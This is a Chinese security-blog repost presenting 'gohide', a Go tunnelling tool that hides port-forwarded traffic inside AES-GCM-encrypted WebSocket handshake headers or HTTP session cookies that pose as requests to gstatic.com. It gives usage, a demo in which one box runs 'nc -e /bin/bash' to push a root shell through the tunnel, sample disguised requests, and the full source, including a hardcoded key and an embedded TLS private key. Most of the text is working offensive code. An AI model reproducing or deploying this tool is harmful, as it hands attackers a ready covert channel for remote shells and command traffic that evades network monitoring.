AES-GCM 加密隧道

渗透技巧 2年前 (2022) admin
632 0 0

通过带有 AES-GCM 加密的模糊通道隧道端口到端口流量。

混淆模式

  • 会话 Cookie HTTP GET(http 客户端)

  • Set-Cookie 会话 Cookie HTTP/2 200 OK (http-server)

  • WebSocket 握手“Sec-WebSocket-Key”(websocket-client)

  • WebSocket 握手“Sec-WebSocket-Accept”(websocket-server)

  • 没有混淆,只使用 AES-GCM 加密消息(无)

上述每个选项默认启用 AES-GCM。


root@WOPR-KALI:/opt/gohide-dev# ./gohide -hUsage of ./gohide:  -f string      listen fake server -r x.x.x.x:xxxx (ip/domain:port) (default "0.0.0.0:8081")  -key openssl passwd -1 -salt ok | md5sum      aes encryption secret: use '-k openssl passwd -1 -salt ok | md5sum' to derive key from password (default "5fe10ae58c5ad02a6113305f4e702d07")  -l string      listen port forward -l x.x.x.x:xxxx (ip/domain:port) (default "127.0.0.1:8080")  -m string      obfuscation mode (AES encrypted by default): websocket-client, websocket-server, http-client, http-server, none (default "none")  -pem string      path to .pem for TLS encryption mode: default = use hardcoded key pair 'CN:target.com', none = plaintext mode (default "default")  -r string      forward to remote fake server -r x.x.x.x:xxxx (ip/domain:port) (default "127.0.0.1:9999")

反向

root@WOPR-KALI:/opt/gohide# ./gohide -f 0.0.0.0:8081 -l 127.0.0.1:8080 -r target.com:9091 -m websocket-clientLocal Port Forward Listening: 127.0.0.1:8080FakeSrv Listening: 0.0.0.0:8081


root@WOPR-KALI:/opt/gohide# nc -v 127.0.0.1 8080localhost [127.0.0.1] 8080 (http-alt) openiduid=0(root) gid=0(root) groups=0(root)uname -aLinux WOPR-KALI 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-1kali1 (2019-11-11) x86_64 GNU/Linuxnetstat -pantwu Active Internet connections (servers and established)tcp        0      0 127.0.0.1:39684         127.0.0.1:8081          ESTABLISHED 14334/./gohide


B

root@WOPR-KALI:/opt/gohide# ./gohide -f 0.0.0.0:9091 -l 127.0.0.1:9090 -r target.com:8081 -m websocket-serverLocal Port Forward Listening: 127.0.0.1:9090FakeSrv Listening: 0.0.0.0:9091


root@WOPR-KALI:/var/tmp# nc -e /bin/bash 127.0.0.1 9090


websocket-client(框 A 到框 B)

  • Sec-WebSocket-Key 包含 AES-GCM 加密内容,例如“uname -a”。

GET /news/api/latest HTTP/1.1Host: cdn-tb0.gstatic.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like GeckoUpgrade: websocketConnection: UpgradeSec-WebSocket-Key: 6jZS+0Wg1IP3n33RievbomIuvh5ZdNMPjVowXm62Sec-WebSocket-Version: 13

websocket-server(框 B 到框 A)

  • Sec-WebSocket-Accept 包含 AES-GCM 加密输出。

HTTP/1.1 101 Switching ProtocolsUpgrade: websocketConnection: UpgradeSec-WebSocket-Accept: URrP5l0Z3NIHXi+isjuIyTSKfoP60Vw5d2gqcmI=


http客户端

  • 会话 cookie 标头包含 AES-GCM 加密内容

GET /news/api/latest HTTP/1.1Host: cdn-tbn0.gstatic.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like GeckoAccept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brReferer: http://www.bbc.co.uk/Connection: keep-aliveCookie: Session=R7IJ8y/EBgCanTo6fc0fxhNVDA27PFXYberJNW29; Secure; HttpOnly

http服务器

  • Set-Cookie 标头包含 AES-GCM 加密内容。

HTTP/2.0 200 OKcontent-encoding: gzipcontent-type: text/html; charset=utf-8pragma: no-cacheserver: nginxx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockcache-control: no-cache, no-store, must-revalidateexpires: Thu, 21 Nov 2019 01:07:15 GMTdate: Thu, 21 Nov 2019 01:07:15 GMTcontent-length: 30330vary: Accept-EncodingX-Firefox-Spdy: h2Set-Cookie: Session=gWMnQhh+1vkllaOxueOXx9/rLkpf3cmh5uUCmHhy; Secure; Path=/; HttpOnly

AES-GCM 加密隧道


AES-GCM 加密隧道


package main
import ( "io" "net" "fmt" "io/ioutil" "bufio" "flag" "time" "regexp" "strings" "crypto/aes" "crypto/cipher" "crypto/rand" "crypto/tls" "crypto/x509" b64 "encoding/base64")
var key []bytevar tlscfg *tls.Configvar r net.Connvar fakeSrv net.Listener
func Encrypt(data []byte) []byte { block, err := aes.NewCipher(key[:]) if err != nil { panic(err) }
gcm, err := cipher.NewGCM(block) if err != nil { panic(err) }
nonce := make([]byte, gcm.NonceSize()) _ , err = io.ReadFull(rand.Reader, nonce) if err != nil { panic(err) }
ciphertext := gcm.Seal(nil, nonce, data, nil) output := make([]byte, gcm.NonceSize() + len(ciphertext)) copy(output[:len(nonce)], nonce) copy(output[len(nonce):], ciphertext) return output}
func Decrypt(data []byte) []byte { block, err := aes.NewCipher(key[:]) if err != nil { panic(err) }
gcm, err := cipher.NewGCM(block) if err != nil { panic(err) }
if len(data) < gcm.NonceSize() { panic(err) }
plaintext , err := gcm.Open(nil, data[:gcm.NonceSize()], data[gcm.NonceSize():], nil) if err != nil { panic(err) } return plaintext}
func obscure_send(data []byte, stype string) string { switch stype { case "websocket-client": upgrade := "GET /news/api/latest HTTP/1.1n" + "Host: cdn-tb0.gstatic.comn" + "User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Geckon" + "Upgrade: websocketn" + "Connection: Upgraden" + "Sec-WebSocket-Key: " + b64.StdEncoding.EncodeToString(Encrypt(data)) + "n" + "Sec-WebSocket-Version: 13nn" return string(upgrade)
case "websocket-server": upgrade := "HTTP/1.1 101 Switching Protocolsn" + "Upgrade: websocketn" + "Connection: Upgraden" + "Sec-WebSocket-Accept: " + b64.StdEncoding.EncodeToString(Encrypt(data)) + "nn" return string(upgrade)
case "http-client": get := "GET /news/api/latest HTTP/1.1n" + "Host: cdn-tbn0.gstatic.comn" + "User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Geckon" + "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8n" + "Accept-Language: en-US,en;q=0.5n" + "Accept-Encoding: gzip, deflaten" + "Referer: https://www.google.com/n" + "Connection: keep-aliven" + "Upgrade-Insecure-Requests: 1" + "Cookie: Session=" + b64.StdEncoding.EncodeToString(Encrypt(data)) + "; Secure; HttpOnlynn" return string(get)
case "http-server": response := "HTTP/1.1 200 OKn" + "Content-Type: text/htmln" + "Transfer-Encoding: chunkedn" + "Connection: keep-aliven" + "ETag: W/'5aa91b6d-19b00'n" + "Cache-Control: no-cachen" + "Access-Control-Allow-Origin: *n" + "Server: CDN77-Turbon" + "X-Cache: HITn" + "X-Age: 21758851n" + "Content-Encoding: gzipn" + "Set-Cookie: Session=" + b64.StdEncoding.EncodeToString(Encrypt(data)) + "; Secure; Path=/; HttpOnlynn" return string(response)
default: return string(b64.StdEncoding.EncodeToString(Encrypt(data))) + "n"
}}
func finder(pattern string, data []byte) []byte { found, _ := regexp.Match(pattern, data) if found == true { re := regexp.MustCompile(pattern) match := re.FindStringSubmatch(string(data)) decode , err := b64.StdEncoding.DecodeString(match[1]) if err != nil { return nil } return Decrypt([]byte(decode)) } return nil}
func obscure_recv(data []byte, stype string) []byte { switch stype { default: decode , _ := b64.StdEncoding.DecodeString(string(data)) return Decrypt([]byte(decode))
case "websocket-server": pattern := `(?m)Sec-WebSocket-Key: ([^;]+)` return finder(pattern, data)
case "websocket-client": pattern := `(?m)Sec-WebSocket-Accept: ([^;]+)` return finder(pattern, data)
case "http-client": pattern := `(?m)Session=([^;]+);` return finder(pattern, data)
case "http-server": pattern := `(?m)Session=([^;]+);` return finder(pattern, data)
}}
func sham(stype string) []byte { switch stype { default: o := "{}" return []byte(o) case "websocket-server": o := "HTTP/1.1 101 Switching Protocolsn" + "Upgrade: websocketn" + "Connection: Upgraden" + "Sec-WebSocket-Accept: s3pPSMdiTxaQ8kYGzzhNRbK+x0o=nn" return []byte(o) case "websocket-client": o := "GET /news/api/latest HTTP/1.1n" + "Host: cdn-tb0.gstatic.comn" + "User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Geckon" + "Upgrade: websocketn" + "Connection: Upgraden" + "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==n" + "Sec-WebSocket-Version: 13nn" return []byte(o) case "http-client": o := "GET / HTTP/1.1n" + "Host: cdn-tb0.gstatic.comn" + "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0n" + "Accept: text/html,application/xhtml+xml,application/xmln" + "Accept-Language: en-US,enn" + "Accept-Encoding: gzip, deflaten" + "Connection: keep-aliven" + "Upgrade-Insecure-Requests: 1nn" return []byte(o) case "http-server": o := "HTTP/1.1 200 OKn" + "Content-Type: text/htmln" + "Transfer-Encoding: chunkedn" + "Connection: keep-aliven" + "ETag: W/'5aa91b6d-19b00'n" + "Cache-Control: no-cachen" + "Access-Control-Allow-Origin: *n" + "Server: CDN77-Turbon" + "X-Cache: HITn" + "X-Age: 21758851n" + "Content-Encoding: gzipnn" return []byte(o) }}
func setupTLS(pemPtr string) *tls.Config { //default - do not use! set your own .pem! certPem := []byte(`-----BEGIN CERTIFICATE-----MIICRzCCAcygAwIBAgIUCU0DaqqroWAAL8wvvOJgvuSCAlgwCgYIKoZIzj0EAwIwWjELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDETMBEGA1UEAwwKdGFyZ2V0LmNvbTAeFw0xOTExMjEyMjU5MjlaFw0yOTExMTgyMjU5MjlaMFoxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQxEzARBgNVBAMMCnRhcmdldC5jb20wdjAQBgcqhkjOPQIBBgUrgQQAIgNiAATRZYVwyZIVj8EiPzsTR7OBS1uycga15tIK9eEvGv7xPrv2EmCc6XYecI1lSVHkEqMNgVazeiDy5Wm90roP1r2IxB/hclp1WgpDXXJZql8VaFUR2/jAbvjPUgbwdbBQxfOjUzBRMB0GA1UdDgQWBBTnQhFiG9cWSCZwl1sxfd3PMA3p5TAfBgNVHSMEGDAWgBTnQhFiG9cWSCZwl1sxfd3PMA3p5TAPBgNVHRMBAf8EBTADAQH/MAoGCCqGSM49BAMCA2kAMGYCMQD0fK2o96rREKiJCojOg73LSiX3FGMtLqCEHfBq9wyrerxWugwDp2FgP9h8NsbF81cCMQDPww/4ige6PoCtvcbYmj9UqynznYo7B788LBGzufA7KNFAfcTPJTrHESOoiQ5j9N0=-----END CERTIFICATE-----`)
keyPem := []byte(`-----BEGIN EC PARAMETERS-----BgUrgQQAIg==-----END EC PARAMETERS----------BEGIN EC PRIVATE KEY-----MIGkAgEBBDCWraBt3j/eJyRDPrf/2XrwON5jUDJyVlOGbWm+5pDBUyQtTNXakSyVmafgjsOkQ3egBwYFK4EEACKhZANiAATRZYVwyZIVj8EiPzsTR7OBS1uycga15tIK9eEvGv7xPrv2EmCc6XYecI1lSVHkEqMNgVazeiDy5Wm90roP1r2IxB/hclp1WgpDXXJZql8VaFUR2/jAbvjPUgbwdbBQxfM=-----END EC PRIVATE KEY-----`)
if pemPtr != "default" { certPem , _ = ioutil.ReadFile(pemPtr) keyPem , _ = ioutil.ReadFile(pemPtr) }
cert, err := tls.X509KeyPair(certPem, keyPem) if err != nil { panic(err) }
roots := x509.NewCertPool() ok := roots.AppendCertsFromPEM(certPem) if !ok { panic("root ca error") }
tlscfg := &tls.Config{ RootCAs: roots, Certificates: []tls.Certificate{cert}, //InsecureSkipVerify: true, MinVersion: tls.VersionTLS12, CurvePreferences: []tls.CurveID{tls.CurveP521, tls.CurveP384, tls.CurveP256}, PreferServerCipherSuites: true, CipherSuites: []uint16{ tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, tls.TLS_RSA_WITH_AES_256_GCM_SHA384, tls.TLS_RSA_WITH_AES_256_CBC_SHA, }, } return tlscfg
}
func main() {
listenPtr := flag.String("l", "127.0.0.1:8080", "listen port forward -l x.x.x.x:xxxx (ip/domain:port)") remotePtr := flag.String("r", "127.0.0.1:9999", "forward to remote fake server -r x.x.x.x:xxxx (ip/domain:port)") fakeSrvPtr := flag.String("f", "0.0.0.0:8081", "listen fake server -r x.x.x.x:xxxx (ip/domain:port)") modePtr := flag.String("m", "none", "obfuscation mode (AES encrypted by default): websocket-client, websocket-server, http-client, http-server, none") keyPtr := flag.String("key", "5fe10ae58c5ad02a6113305f4e702d07", "aes encryption secret: use '-k `openssl passwd -1 -salt ok | md5sum`' to derive key from password") pemPtr := flag.String("pem", "default", "path to .pem for TLS encryption mode: default = use hardcoded key pair 'CN:target.com', none = plaintext mode")
flag.Parse()
key = []byte(*keyPtr)
//OUTBOUND TRANSLATOR PIPE or, ow := io.Pipe()
//REMOTE PIPE rr, rw := io.Pipe()
//INBOUND TRANSLATOR PIPE ir, iw := io.Pipe()
//LOCAL PIPE lr, lw := io.Pipe()
//SETUP LOCAL FORWARDER s , err := net.Listen("tcp", *listenPtr) if err != nil { panic(err) } fmt.Printf("Local Port Forward Listening: %sn", *listenPtr)
//TLS SETUP if *pemPtr != "none" { tlscfg = setupTLS(*pemPtr) }
//SETUP LOCAL FAKESRV LISTENER switch *pemPtr { case "none": fakeSrv, err = net.Listen("tcp", *fakeSrvPtr) if err != nil { panic(err) } default: fakeSrv, err = tls.Listen("tcp", *fakeSrvPtr, tlscfg) if err != nil { panic(err) } }
if *pemPtr != "none" { fmt.Printf("FakeSrv listening: %s, TLS mode using key: %sn", *fakeSrvPtr, *pemPtr) } else { fmt.Printf("FakeSrv listening: %s, plaintext moden", *fakeSrvPtr) }
//PROXY LOCAL REQUESTS go func() { for {
l , err := s.Accept() if err != nil { continue }
//LOCAL to OUTBOUND TRANSLATOR go io.Copy(ow, l)
//INBOUND TRANSLATOR to LOCAL go io.Copy(l, lr)
time.Sleep(400 * time.Millisecond)
} }()
//LISTEN INCOMING RESPONSES go func() { for {
f , err := fakeSrv.Accept() if err != nil { continue } if strings.HasSuffix(*modePtr, "client") { f.Write(sham(*modePtr)) }
//REMOTE to INBOUND TRANSLATOR io.Copy(iw, f)
if strings.HasSuffix(*modePtr, "server") { f.Write(sham(*modePtr)) } f.Close()
time.Sleep(400 * time.Millisecond)
} }()
//FORWARD LOCAL REQUESTS TO REMOTE FAKESRV go func() { for {
switch *pemPtr { default: r , err = tls.Dial("tcp", *remotePtr, tlscfg) if err != nil { time.Sleep(5 * time.Second) continue }
case "none": r , err = net.Dial("tcp", *remotePtr) if err != nil { time.Sleep(5 * time.Second) continue }
}
//OUTBOUND TRANSLATOR to REMOTE if _ , err := io.Copy(r, rr); err == nil { r.Close() }
time.Sleep(400 * time.Millisecond)
} }()
//OUTBOUND TRANSLATOR go func() { for { scanner := bufio.NewScanner(or) for scanner.Scan() { fmt.Fprintf(rw, obscure_send(scanner.Bytes(), *modePtr)) }
time.Sleep(400 * time.Millisecond)
} }()
//INBOUND TRANSLATOR go func() { for {
scanner := bufio.NewScanner(ir) for scanner.Scan() { output := obscure_recv(scanner.Bytes(), *modePtr) if output != nil { fmt.Fprintf(lw, string(output) + "n") }
}
time.Sleep(400 * time.Millisecond)
} }()
for { time.Sleep(60 * time.Second) }
}


原文始发于微信公众号(Khan安全攻防实验室):AES-GCM 加密隧道

版权声明:admin 发表于 2022年9月28日 上午8:31。
转载请注明:AES-GCM 加密隧道 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...